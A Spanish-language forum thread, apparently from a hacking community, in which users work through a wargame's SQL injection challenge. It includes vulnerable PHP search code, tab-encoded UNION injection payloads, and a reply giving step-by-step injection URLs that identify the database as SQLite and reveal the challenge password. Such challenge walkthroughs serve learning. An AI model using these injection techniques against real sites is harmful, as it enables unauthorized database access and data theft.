Autor
|
Tema: Duda con reto de iSQL (Leído 5,516 veces)
|
Shell Root
|
Andaba resolviendo algunos wargames, y me encontre con este! Se trata de encontrar la versión del MySQL. El script es esté: NOTA: La parte comentareada es parte del script original la cambie para montarlo en mi localhost if ( !empty( $_GET['buscar'] ) ){ $palabras = explode( ' ', $buscar ); if ( 3 < count($palabras) ) die('No se permiten mas de 3 palabras en la busqueda.'); #$consulta = 'SELECT * FROM diccionario WHERE'; $consulta = 'SELECT * FROM tbl WHERE'; foreach( (array) $palabras as $palabra ) $consulta .= " nombre LIKE '%{$palabra}%' OR"; #$consulta .= " yrClaves LIKE '%{$palabra}%' OR"; $consulta = substr( $consulta, 0, -3 ); $consulta .= " LIMIT 1;"; }else{ $consulta = 'SELECT * FROM tbl LIMIT ' . mt_rand( 0, 5 ) . ',1;'; } # Esto es para mi localhost if( $query !== false ){ }
El tema es que en mi localhost logro obtener la versión del MySQL, pero en el wargame no! De la siguiente manera, 5'%09union%09select%09@@version,2%09%23
Para que la query quede de la siguiente manera, SELECT * FROM tbl WHERE nombre LIKE '%5' UNION SELECT @@version,2 #%' LIMIT 1;
En mi caso el resultado es: 5.6.21El reto original esta online, es -> aHR0cDovL3d3dy55YXNoaXJhLm9yZy9SZVRvcy9BbGwvMTY3L2RpY2Npb25hcmlvLnBocD9idXNjYXI9aXNxbA==
|
|
« Última modificación: 6 Marzo 2015, 16:56 pm por Shell Root »
|
En línea
|
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.
|
|
|
ivancea96
Desconectado
Mensajes: 3.412
ASMático
|
Cómo haces para saltarte el count de palabras>3? xD
EDITO: Vale, ya vi, ignórame xD
|
|
|
En línea
|
|
|
|
Shell Root
|
No he podido pillar que es lo que pasa, supongo que mi mysql es diferente al que tengo y por eso en mis pruebas lo he pasado, pero en el del reto no. Alguna idea? PD: Ahora tengo que bypassear esto, no tengo la obsoluta idea de como pasarlo.
|
|
|
En línea
|
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.
|
|
|
WHK
|
Recuerda que al final le quitan 3 carácteres por el "OR". Agregale 3 carácteres vacios extras: http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=s%%27%09order%09by%094%09--09%09%09%09Con 4 columnas renorna el valor, con 5 no, por lo cual la tabla tiene 4 columnas: http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=1%27%09union%09select%091,2,3,4%09--09%09%09%09También puedes hacer una continuación de la consulta en ves de finalizarla para ganar mas espacio de carácteres (ya que te limita a 40): http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=1%27%09union%09select%091,2,3,%274Al final las única columna que retornan valores acortando la consulta final es el 3 Igual está raro si, no resuelve nada, ni user() ni @@version ni si quiera un concat: http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=1%27%09union%09select%091,2,concat%28%27c%27%29,%274Será sqlite? www.yashira.org/ReTos/All/167/diccionario.php?buscar=1'%09union%09select%091,2,'a'||'b','4Bingo! sqlite concatena strings utilizando el operador OR en símbolo ||, asi que puse 'a'||'b' y me retornó "ab". Ahora si, a continuar con la inyección, usamos la función sqlite_version() para retornar la versión de la base de datos: http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=%27%09union%09select%091,2,sqlite_version%28%29,%274Y listo: Congrats!, Password: e98f1ae3f5bdeab2d89d8c928723a9f9 Andaba resolviendo algunos wargames, y me encontre con este! Se trata de encontrar la versión del MySQL Donde dice MySQL? Saludos.
|
|
« Última modificación: 15 Abril 2015, 05:06 am por WHK »
|
En línea
|
|
|
|
Shell Root
|
Pues tienes toda la pinche razón jajajaj me deje llevar y pense que era MySQL. Y es más, dentro del código dice que es: $db = new PDO( 'sqlite:diccionario.sqlite' );
|
|
|
En línea
|
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Subir Shell por medio de ISQL
Nivel Web
|
.:UND3R:.
|
2
|
5,230
|
10 Mayo 2011, 22:47 pm
por ~ Yoya ~
|
|
|
Bypass + iSQL
Nivel Web
|
Shell Root
|
5
|
4,049
|
1 Junio 2011, 21:01 pm
por .mokk.
|
|
|
Duda reto warzone.
WarZone
|
acoevil
|
6
|
6,592
|
1 Mayo 2012, 19:37 pm
por Stakewinner00
|
|
|
Se puede hacer un INTO OUTFILE en una iSQL BLIND?
Nivel Web
|
Shell Root
|
2
|
2,466
|
18 Marzo 2013, 21:07 pm
por WHK
|
|
|
ISQL Oracle
Nivel Web
|
.:UND3R:.
|
3
|
2,921
|
9 Diciembre 2014, 16:33 pm
por Shell Root
|
|